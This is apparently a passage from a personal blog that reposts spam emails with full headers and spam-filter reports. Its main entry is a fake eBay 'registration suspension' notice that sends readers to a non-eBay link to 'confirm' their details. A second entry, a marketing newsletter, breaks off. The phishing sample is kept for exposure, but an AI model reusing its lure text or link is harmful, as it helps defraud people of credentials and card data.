dW1lbnQud3JpdGUodW5lc2NhcGUoJyU0NSU2ZCU2MSU2OSU2YyUyMCU1NiU2NSU3MiU2OSU2

NiU2OSU2MyU2MSU3NCU2OSU2ZiU2ZSUyMCU2MSU2ZSU2NCUyMCU1NiU2MSU2YyU2OSU2NCU2

MSU3NCU2OSU2ZiU2ZSUyMCU2NiU2ZiU3MiUyMCUyMCUzYyUyZiU2NiU2ZiU2ZSU3NCUzZSUy

MCUwZCUwYSUyMCUyMCUyMCUyMCUzYyUyZiU2MSUzZSUyMCUzYyUyZiU3NCU2NCUzZSUwZCUw

YSUyMCUwZCUwYSUyMCUyMCUyMCUyMCUzYyU3NCU2NCUzZSUyMCUzYyU2NiU2ZiU2ZSU3NCUy

MCU2NiU2MSU2MyU2NSUzZCUyMiU3NiU2NSU3MiU2NCU2MSU2ZSU2MSUyMiUyMCU3MyU2OSU3

YSU2NSUzZCUyMiUzNCUyMiUyMCU2MyU2ZiU2YyU2ZiU3MiUzZCUyMiUyMyU0NiU0NiU0NiUy

MiUzZSUzYyUyZiU2NiU2ZiU2ZSU3NCUzZSUyMCUzYyUyZiU3NCU2NCUzZSUwZCUwYSUyMCUw

ZCUwYSUyMCUyMCUyMCUyMCUzYyU3NCU2NCUzZSUyMCUzYyU2MSUyMCU2OCU3MiU2NSU2NiUz

ZCUyMiUyMiUyMCU3MyU3NCU3OSU2YyU2NSUzZCUyMiU3NCU2NSU3OCU3NCUyZCU2NCU2NSU2

MyU2ZiU3MiU2MSU3NCU2OSU2ZiU2ZSUzYSU2ZSU2ZiU2ZSU2NSUyMiUzZSUyMCUwZCUwYSUy

MCUyMCUyMCUyMCUzYyU2NiU2ZiU2ZSU3NCUyMCU2NiU2MSU2MyU2NSUzZCUyMiU3NiU2NSU3

MiU2NCU2MSU2ZSU2MSUyMiUyMCU3MyU2OSU3YSU2NSUzZCUyMiUzMiUyMiUyMCU2MyU2ZiU2

YyU2ZiU3MiUzZCUyMiUyMyU0NiU0NiU0NiUyMiUzZScpKTsNCi8vLS0+DQo8L3NjcmlwdD4N

Cg0KDQpkb2N0b3JAZG9jdG9yLm5sMmsuYWIuY2ENCiANCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0

L2phdmFzY3JpcHQiPg0KPCEtLQ0KZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyUyZiU2

NiU2ZiU2ZSU3NCUzZSUyMCUwZCUwYSUyMCUyMCUyMCUyMCUzYyUyZiU2MSUzZSUwZCUwYSUy

MCUyMCUyMCUyMCUzYyUyZiU3NCU2NCUzZSUwZCUwYSUyMCUwZCUwYSUyMCUyMCUyMCUyMCUz

YyU3NCU2NCUzZSUyMCUzYyU2NiU2ZiU2ZSU3NCUyMCU2NiU2MSU2MyU2NSUzZCUyMiU3NiU2

NSU3MiU2NCU2MSU2ZSU2MSUyMiUyMCU3MyU2OSU3YSU2NSUzZCUyMiUzNCUyMiUyMCU2MyU2

ZiU2YyU2ZiU3MiUzZCUyMiUyMyU0NiU0NiU0NiUyMiUzZSUyMCU3YyUyMCUzYyUyZiU2NiU2

ZiU2ZSU3NCUzZSUyMCUzYyUyZiU3NCU2NCUzZSUwZCUwYSUyMCUwZCUwYSUyMCUyMCUyMCUy

MCUzYyUyZiU3NCU3MiUzZSUzYyUyZiU3NCU2MSU2MiU2YyU2NSUzZSUwZCUwYSUwZCUwYSUz

YyUyZiU3NCU2NCUzZSUzYyUyZiU3NCU3MiUzZSUwZCUwYSUwZCUwYSUzYyUyZiU2OCU3NCU2

ZCU2YyUzZScpKTsNCi8vLS0+DQo8L3NjcmlwdD4NCg==

------=_NextPart_000_0012_CDAECB43.DF3C315A--

Ebay Phish

Posted by Dave Yadallee on Friday, October 25. 2019

Return-path:

Envelope-to: support@nk.ca

Delivery-date: Fri, 25 Oct 2019 09:38:26 -0600

Received: from mailhost.cbasystems.co.za ([129.232.217.35]:35018 helo=cba-exchange.cbasystems.co.za)

by doctor.nl2k.ab.ca with esmtps (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256)

(Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1iO1fO-000JK8-7X

for support@nk.ca; Fri, 25 Oct 2019 09:38:26 -0600

Received: from localhost (localhost.localdomain [127.0.0.1])

by cba-exchange.cbasystems.co.za (Postfix) with ESMTP id 3BE1122AD92

for ; Fri, 25 Oct 2019 17:37:32 +0200 (SAST)

Received: from cba-exchange.cbasystems.co.za ([127.0.0.1])

by localhost (cba-exchange.cbasystems.co.za [127.0.0.1]) (amavisd-new, port 10032)

with ESMTP id v5_wORLUCyzX for ;

Fri, 25 Oct 2019 17:37:31 +0200 (SAST)

Received: from localhost (localhost.localdomain [127.0.0.1])

by cba-exchange.cbasystems.co.za (Postfix) with ESMTP id 3D4E722AD8E

for ; Fri, 25 Oct 2019 17:37:31 +0200 (SAST)

X-Virus-Scanned: amavisd-new at cba-exchange.cbasystems.co.za

Received: from cba-exchange.cbasystems.co.za ([127.0.0.1])

by localhost (cba-exchange.cbasystems.co.za [127.0.0.1]) (amavisd-new, port 10026)

with ESMTP id mBoc9zeXc8TO for ;

Fri, 25 Oct 2019 17:37:31 +0200 (SAST)

Received: from exhsr (d41172.acod.regrucolo.ru [176.99.9.50])

by cba-exchange.cbasystems.co.za (Postfix) with ESMTPSA id 5D3A122AD92

for ; Fri, 25 Oct 2019 17:37:30 +0200 (SAST)

Message-ID:

Reply-To: eBay

From: eBay

To: support@nk.ca

Subject: M087 Notice : eBay Registration Suspension - Section 9

Date: Fri, 25 Oct 2019 18:37:29 +0300

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary="a081c8669a7d575fe3e650fc19edc7ce3e3cf6"

X-Spam_score: 7.7

X-Spam_score_int: 77

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: eBay sent this message to support@nk.ca. Your registered name

is included to show this message originated from eBay.Â Learn more. M087Â Notice

: eBay Registration Suspension - Section 9 Dear eBay member,

Content analysis details: (7.7 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: accrediate.in]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[176.99.9.50 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

1.0 RCVD_IN_WSFF RBL: Received via a relay in

will-spam-for-food.eu.org

[176.99.9.50 listed in will-spam-for-food.eu.org]

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.9 SPF_FAIL SPF: sender does not match SPF record (fail)

[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=ukrswebhelp%40ebay.co;ip=129.232.217.35;r=doctor.nl2k.ab.ca]

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 NO_RDNS2 Sending MTA has no reverse DNS

1.5 TVD_PH_BODY_ACCOUNTS_PRE The body matches phrases such as

"accounts suspended", "account credited",

"account verification"

Subject: {SPAM?} M087 Notice : eBay Registration Suspension - Section 9

X-Antivirus: AVG (VPS 191023-2, 10/23/2019), Inbound message

X-Antivirus-Status: Clean

--a081c8669a7d575fe3e650fc19edc7ce3e3cf6

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

eBay sent this message to support@nk.ca.

Your registered name is included to show this message originated from eBa=

y.=C2=A0Learn more.

M087=C2=A0Notice : eBay Registration Suspension - Section 9

Dear eBay member,

We are writing to alert you that your eBay account has been suspended, be=

cause your credit/debit card company declined eBay's attempt to verify yo=

ur registration information that we have on file.

Per the User Agreement, Section 9, we may immediately issue a warning, te=

mporarily suspend, indefinitely suspend or terminate your membership and =

refuse to provide our services to you if we believe that your actions may=

cause financial loss or legal liability for you, our users or us.

To remove any limitations, you are required to confirm your eBay registra=

tion by following the link below :

Click here to confirm your registration

Due to the suspension of this account, please be advised you are prohibit=

ed from using eBay in any way until you confirm your registration.

Please note that this will also affect the ability to sell or bid on item=

s.

This includes registering a new account.

Sincerely,

Mike Jenice

Managing Director

eBay Safeharbor Department SD5

Marketplace Safety Tip =20

Keep your money safe=C2=A0- never pay for items with cash or instant mone=

y transfer services, such as Western Union or MoneyGram. In the past some=

sellers have exploited these payment methods in order to defraud buyers,=

so eBay has banned them from the site. Received a Second Chance Offer em=

ail?=C2=A0Double check that it's genuine: Second Chance Offer emails come=

directly from eBay and are shown in your My Messages. Trade safely. Bewa=

re of anyone who contacts you about=C2=A0buying or selling outside of eBa=

y. When you trade outside eBay, you're not able to leave feedback or take=

advantage of our protection programmes and resolution tools.=C2=A0Report=

=C2=A0an inappropriate email. eBay helps guard your privacy and online sa=

fety when you use our messaging tools. If you and the member you're conta=

cting haven't bought or sold from each other recently, our tools may make=

both of your email addresses anonymous.

Email reference id: [&RMusK;]_[&ISmZiN;]

Please don't remove this number. eBay customer support may ask you for th=

is number, should you need assistance

Learn More=C2=A0to protect yourself from spoof (fake) emails.

Read our=C2=A0Privacy Policy=C2=A0and=C2=A0User Agreement=C2=A0if you hav=

e any questions.

You can=C2=A0report this message=C2=A0as unsolicited (spam/spoof) email.

--a081c8669a7d575fe3e650fc19edc7ce3e3cf6

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb=

(211,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BOR=

DER-LEFT: rgb(211,211,211) 1px dotted"=20

cellSpacing=3D3 cellPadding=3D2 width=3D"100%" border=3D0>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT:=

rgb(211,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted;=

BORDER-LEFT: rgb(211,211,211) 1px dotted"=20

width=3D"1%" noWrap> 3DeBay=20<br

src=3D"http://q.ebaystatic.com/aw/pics/logos/ebay_95x39.gif" =

width=3D95=20

height=3D39=20

data-cke-saved-src=3D"http://q.ebaystatic.com/aw/pics/logos/e=

bay_95x39.gif">

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT:=

rgb(211,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted;=

BORDER-LEFT: rgb(211,211,211) 1px dotted"=20

vAlign=3Dbottom align=3Dleft>
style=3D"FONT-SIZE: xx-small; FONT-FAMILY: verdana, sans-seri=

f; FONT-WEIGHT: bold; COLOR: rgb(102,102,102)">eBay=20

sent this message to
href=3D"mailto:support@nk.ca">support@nk.ca.
R>
style=3D"FONT-SIZE: xx-small; FONT-FAMILY: verdana, sans-seri=

f; COLOR: rgb(102,102,102)">Your=20

registered name is included to show this message originated f=

rom=20

eBay.
href=3D"http://pages.ebay.co.uk/help/confidence/name-userid-e=

mails.html"=20

rel=3Dnofollow target=3D_blank=20

data-cke-saved-href=3D"http://pages.ebay.co.uk/help/confidenc=

e/name-userid-emails.html">Learn=20

more.

<=

/TABLE>

style=3D'FONT-SIZE: 16px; FONT-FAMILY: "times new roman", "new york", tim=

es, serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; =

FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDO=

WS: 2; LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligatures: =

normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-d=

ecoration-style: initial; text-decoration-color: initial'>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(211,2=

11,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDER-LE=

FT: rgb(211,211,211) 1px dotted; BACKGROUND-COLOR: rgb(255,230,128)"=20

cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted"=20

vAlign=3Dtop width=3D8>
src=3D"http://q.ebaystatic.com/aw/pics/globalAssets/ltCurve.gif" wi=

dth=3D8=20

height=3D8=20

data-cke-saved-src=3D"http://q.ebaystatic.com/aw/pics/globalAssets/=

ltCurve.gif">

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted"=20

vAlign=3Dbottom width=3D"100%">

N=20

style=3D"FONT-SIZE: 14pt; FONT-FAMILY: arial, sans-serif; FONT-WEIG=

HT: bold; MARGIN: 2px 0px">
size=3D2 face=3D"Arial, Verdana">M087 Notice=

: eBay=20

Registration Suspension - Section 9

TD>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted"=20

vAlign=3Dtop width=3D8 align=3Dright>
src=3D"http://p.ebaystatic.com/aw/pics/globalAssets/rtCurve.gif" wi=

dth=3D8=20

height=3D8=20

data-cke-saved-src=3D"http://p.ebaystatic.com/aw/pics/globalAssets/=

rtCurve.gif">

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted; BACKGROUND-COLOR: rgb(255,204,0)"=20

height=3D4 colSpan=3D3>

style=3D"BORDER-TOP: rgb(255,204,0) 1px solid; BORDER-RIGHT: rgb(255,204,=

0) 1px solid; BORDER-BOTTOM: rgb(255,204,0) 1px solid; BORDER-LEFT: rgb(2=

55,204,0) 1px solid"=20

cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; PADDI=

NG-TOP: 5px; PADDING-LEFT: 8px; BORDER-LEFT: rgb(211,211,211) 1px dotted;=

PADDING-RIGHT: 8px">

style=3D"FONT-SIZE: 10pt; BORDER-TOP: rgb(211,211,211) 1px dotted; FO=

NT-FAMILY: arial, sans-serif; BORDER-RIGHT: rgb(211,211,211) 1px dotted; =

BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDER-LEFT: rgb(211,211,211)=

1px dotted">

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; PADDI=

NG-LEFT: 8px; BORDER-LEFT: rgb(211,211,211) 1px dotted">

BODY>

style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">Dear eBay=

=20

member,

style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">&n=

bsp;

style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">We are wr=

iting to=20

alert you that your eBay account has been suspended, because your=20

credit/debit card company declined eBay's attempt to verify your=20

registration information that we have on file.

style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">Per the U=

ser=20

Agreement, Section 9, we may immediately issue a warning, temporari=

ly=20

suspend, indefinitely suspend or terminate your membership and refu=

se to=20

provide our services to you if we believe that your actions may cau=

se=20

financial loss or legal liability for you, our users or us.<=

/DIV>

style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">To remove=

any=20

limitations, you are required to confirm your eBay registration by=20

following the link below :

style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">&n=

bsp;

style=3D"BORDER-TOP: rgb(255,204,0) 1px solid; HEIGHT: 32px; BORDER=

-RIGHT: rgb(255,204,0) 1px solid; WIDTH: 226px; BORDER-BOTTOM: rgb(255,20=

4,0) 1px solid; BORDER-LEFT: rgb(255,204,0) 1px solid"=20

cellSpacing=3D0 cellPadding=3D4 align=3Dleft bgColor=3D#ffffce bord=

er=3D0>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT:=

rgb(211,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted;=

BORDER-LEFT: rgb(211,211,211) 1px dotted"=20

vAlign=3Dtop noWrap align=3Dcenter>
style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">=

color=3D#0000ff size=3D2>
data-cke-saved-href=3D"http://accrediate.in/rd">Click here to=

confirm=20

your registration
BLE>

style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">&n=

bsp;

">
size=3D2 face=3D"Arial, Verdana">Due to the suspension of this acco=

unt, please=20

be advised you are prohibited from using eBay in any way until you =

confirm=20

your registration.

">
size=3D2 face=3DArial>Please note that this will also affect the ab=

ility to=20

sell or bid on items.

">
size=3D2 face=3DArial>This includes registering a new=20

account.

style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, sans-serif">
e=3D2=20

face=3D"Arial, Verdana">

">
size=3D2 face=3D"Arial, Verdana">Sincerely,

">
size=3D2 face=3D"Arial, Verdana">Mike Jenice

">
size=3D2 face=3D"Arial, Verdana">Managing Director

style=3D"BORDER-BOTTOM: rgb(0,102,204) 1px dashed">eBay Safeharbor=20

Department SD5

TABLE>

style=3D"BORDER-TOP: rgb(107,123,145) 1px solid; BORDER-RIGHT: rgb(107,12=

3,145) 1px solid; BORDER-BOTTOM: rgb(107,123,145) 1px solid; BORDER-LEFT:=

rgb(107,123,145) 1px solid"=20

cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted">
style=3D"CURSOR: default" alt=3D"Marketplace Safety Tip"=20

src=3D"http://p.ebaystatic.com/aw/pics/uk/securityCenter/imgShield_=

25x25.gif"=20

width=3D25 align=3DabsMiddle height=3D25=20

data-cke-saved-src=3D"http://p.ebaystatic.com/aw/pics/uk/securityCe=

nter/imgShield_25x25.gif">

style=3D"FONT-SIZE: 10pt; BORDER-TOP: rgb(211,211,211) 1px dotted; FO=

NT-FAMILY: arial, sans-serif; BORDER-RIGHT: rgb(211,211,211) 1px dotted; =

BORDER-BOTTOM: rgb(211,211,211) 1px dotted; FONT-WEIGHT: bold; BORDER-LEF=

T: rgb(211,211,211) 1px dotted"=20

width=3D"20%" noWrap>Marketplace Safety Tip

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted">
style=3D"CURSOR: default" alt=3D""=20

src=3D"http://p.ebaystatic.com/aw/pics/uk/securityCenter/imgTabCorn=

er_25x25.gif"=20

width=3D25 align=3DabsMiddle height=3D25=20

data-cke-saved-src=3D"http://p.ebaystatic.com/aw/pics/uk/securityCe=

nter/imgTabCorner_25x25.gif">

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted"=20

height=3D1=20

background=3Dhttp://q.ebaystatic.com/aw/pics/uk/securityCenter/imgFle=

x_1x25.gif=20

width=3D"80%">

style=3D"FONT-SIZE: 10pt; BORDER-TOP: rgb(211,211,211) 1px dotted; FO=

NT-FAMILY: arial, sans-serif; BORDER-RIGHT: rgb(211,211,211) 1px dotted; =

BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDER-LEFT: rgb(211,211,211)=

1px dotted"=20

colSpan=3D4>

style=3D"LIST-STYLE-TYPE: square; PADDING-BOTTOM: 3px; PADDING-TO=

P: 3px; LINE-HEIGHT: 15px">
href=3D"http://accrediate.in/rd" rel=3Dnofollow target=3D_blank=20

data-cke-saved-href=3D"http://accrediate.in/rd">Keep your money=20

safe - never pay for items with cash or ins=

tant=20

money transfer services, such as Western Union or MoneyGram. In t=

he past=20

some sellers have exploited these payment methods in order to def=

raud=20

buyers, so eBay has banned them from the site.

style=3D"LIST-STYLE-TYPE: square; PADDING-BOTTOM: 3px; PADDING-TO=

P: 3px; LINE-HEIGHT: 15px">Received=20

a Second Chance Offer email?
href=3D"http://accrediate.in/rd" rel=3Dnofollow target=3D_blank=20

data-cke-saved-href=3D"http://accrediate.in/rd">Double check that=

it's=20

genuine: Second Chance Offer emails come directly from eBay a=

nd are=20

shown in your My Messages.

style=3D"LIST-STYLE-TYPE: square; PADDING-BOTTOM: 3px; PADDING-TO=

P: 3px; LINE-HEIGHT: 15px">Trade=20

safely. Beware of anyone who contacts you about
>
href=3D"http://accrediate.in/rd" rel=3Dnofollow target=3D_blank=20

data-cke-saved-href=3D"http://accrediate.in/rd">buying or selling=

outside=20

of eBay. When you trade outside eBay, you're not able to leav=

e=20

feedback or take advantage of our protection programmes and resol=

ution=20

tools.
nofollow=20

target=3D_blank=20

data-cke-saved-href=3D"http://accrediate.in/rd">Report&=

nbsp;an=20

inappropriate email.

style=3D"LIST-STYLE-TYPE: square; PADDING-BOTTOM: 3px; PADDING-TO=

P: 3px; LINE-HEIGHT: 15px">eBay=20

helps guard your privacy and online safety when you use our messa=

ging=20

tools. If you and the member you're contacting haven't bought or =

sold=20

from each other recently, our tools may make both of your email=20

addresses anonymous.

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted; BACKGROUND-COLOR: rgb(201,210,220)"=20

colSpan=3D4>
src=3D"http://q.ebaystatic.com/aw/pics/s.gif" width=3D1 height=3D1=20

data-cke-saved-src=3D"http://q.ebaystatic.com/aw/pics/s.gif"><=

/TR>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(211,2=

11,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDER-LE=

FT: rgb(211,211,211) 1px dotted"=20

cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>

style=3D"BORDER-TOP: rgb(211,211,211) 1px dotted; BORDER-RIGHT: rgb(2=

11,211,211) 1px dotted; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; BORDE=

R-LEFT: rgb(211,211,211) 1px dotted"=20

width=3D"100%">
style=3D"FONT-SIZE: xx-small; FONT-FAMILY: verdana; COLOR: rgb(102,=

102,102)">
href=3D"http://pages.ebay.co.uk/education/spooftutorial/index.html"=

=20

rel=3Dnofollow target=3D_blank=20

data-cke-saved-href=3D"http://pages.ebay.co.uk/education/spooftutor=

ial/index.html">Learn=20

More to protect yourself from spoof (fake)=20

emails.
Read our
href=3D"http://pages.ebay.co.uk/help/policies/privacy-policy.html"=20

rel=3Dnofollow target=3D_blank=20

data-cke-saved-href=3D"http://pages.ebay.co.uk/help/policies/privac=

y-policy.html">Privacy=20

Policy and
href=3D"http://pages.ebay.co.uk/help/policies/user-agreement.html"=20

rel=3Dnofollow target=3D_blank=20

data-cke-saved-href=3D"http://pages.ebay.co.uk/help/policies/user-a=

greement.html">User=20

Agreement if you have any questions.
You=20

can
href=3D"http://pages.ebay.co.uk/help/policies/rfe-spam-ov.html" rel=

=3Dnofollow=20

target=3D_blank=20

data-cke-saved-href=3D"http://pages.ebay.co.uk/help/policies/rfe-sp=

am-ov.html">report=20

this message as unsolicited (spam/spoof)=20

email.

fault"=20

src=3D"http://rover.ebay.com/roveropen/0/e11051/7?euid=3Dc091e9b2b5504625=

81605944730b7ae0"=20

width=3D1 height=3D1=20

data-cke-saved-src=3D"http://rover.ebay.com/roveropen/0/e11051/7?euid=3Dc=

091e9b2b550462581605944730b7ae0">

V>

--a081c8669a7d575fe3e650fc19edc7ce3e3cf6--

Ebay Phish

Posted by Dave Yadallee on Friday, October 25. 2019

Return-path:

Envelope-to: aboo@nk.ca

Delivery-date: Fri, 25 Oct 2019 09:07:30 -0600

Received: from smtp-coi-g18-052.aweber.com ([204.194.223.52]:16112)

by doctor.nl2k.ab.ca with esmtps (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256)

(Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1iO1BM-000Fp2-GK

for aboo@nk.ca; Fri, 25 Oct 2019 09:07:30 -0600

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aweber.com;

s=aweber_key_a; t=1572015990;

bh=sRSAXyv36ZNssNB3alwHde8iF0Ca7N5bPeLM0SPjh/Y=;

h=Date:Content-Type:MIME-Version:From:To:List-Unsubscribe:Subject:

Sender;

b=mKh9LxEkCA2JCR3GXLrcPQUMnZl9cQturcx0zVjsCd8XhLov/oZnKjb6lpeoj/Na9

NuO6VKXn95tRGwGJfZF+Ex09Z4GHHrSphjvboW7S/9+wIdfiker+5tUDkofdkZz301

kdtoNVtzdbVhNDNmR9evAgWTpKWmb6ulsei7JVzRvydy4S34qCmNw+hQfb4nFual6c

xFT6CRvyZQhi9rK4aqzcyhc5L5zYyJbd0bCKcyURXmwyqxTAbwPdC44NHWEFv7x3pG

gTC9nd5D/vVMYR0XsKT9nWJhl3CSxLlq27itvs2NupLmwASk0D3k/5Wc9xtnWRRpK6

NPcr2cWkwvqrQ==

Date: Fri, 25 Oct 2019 15:06:29 +0000

Message-ID:

Content-Type: multipart/alternative; boundary="===============8147537540657936993=="

MIME-Version: 1.0

X-Loop: backlinkoreport@aweber.com

From: "Brian Dean"

X-AWMessage: cd7f417f-ceeb-4652-aeb5-ca3804c7538d

To: aboo@nk.ca

X_Id: 2530895:10-10-2019-11-04-38:aboo@nk.ca

Require-Recipient-Valid-Since: aboo@nk.ca; Wed, 25 Sep 2019 17:28:46 +0000

List-Unsubscribe-Post: List-Unsubscribe=One-Click

Feedback-ID: A688542:L2530895:M10-10-2019-11-04-38:AWeber

List-Unsubscribe: ,

X-Subscription: Subscribed on 09/25/2019, via Webform, by 198.166.122.46,

from https://backlinko.com/google-ranking-factors

Subject: Weird Blogs

X-Mailer: AWeber Composer 2.20.1

Sender: Brian Dean

X-Spam_score: 5.9

X-Spam_score_int: 59

X-Spam_bar: +++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Hey, Thereâ€™s Chris, a guy that started an insurance blog

to help him land more clients. Thereâ€™s also Sumitha, who runs a popular

parenting blog.

Content analysis details: (5.9 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: aweber.com]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[204.194.223.52 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

1.0 RCVD_IN_WSFF RBL: Received via a relay in

will-spam-for-food.eu.org

[204.194.223.52 listed in will-spam-for-food.eu.org]

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level

mail domains are different

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

0.3 LONGWORD BODY: Uses overlong words

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or

Formatted Colors in HTML

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.4 RDNS_DYNAMIC Delivered to internal network by host with

dynamic-looking rDNS

Subject: {SPAM?} Weird Blogs

X-Antivirus: AVG (VPS 191023-2, 10/23/2019), Inbound message

X-Antivirus-Status: Clean

--===============8147537540657936993==

Content-Transfer-Encoding: quoted-printable

MIME-Version: 1.0

Content-Type: text/plain; charset="utf-8"

Hey,

There=E2=80=99s Chris, a guy that started an insurance blog to help him lan=

d more clients.

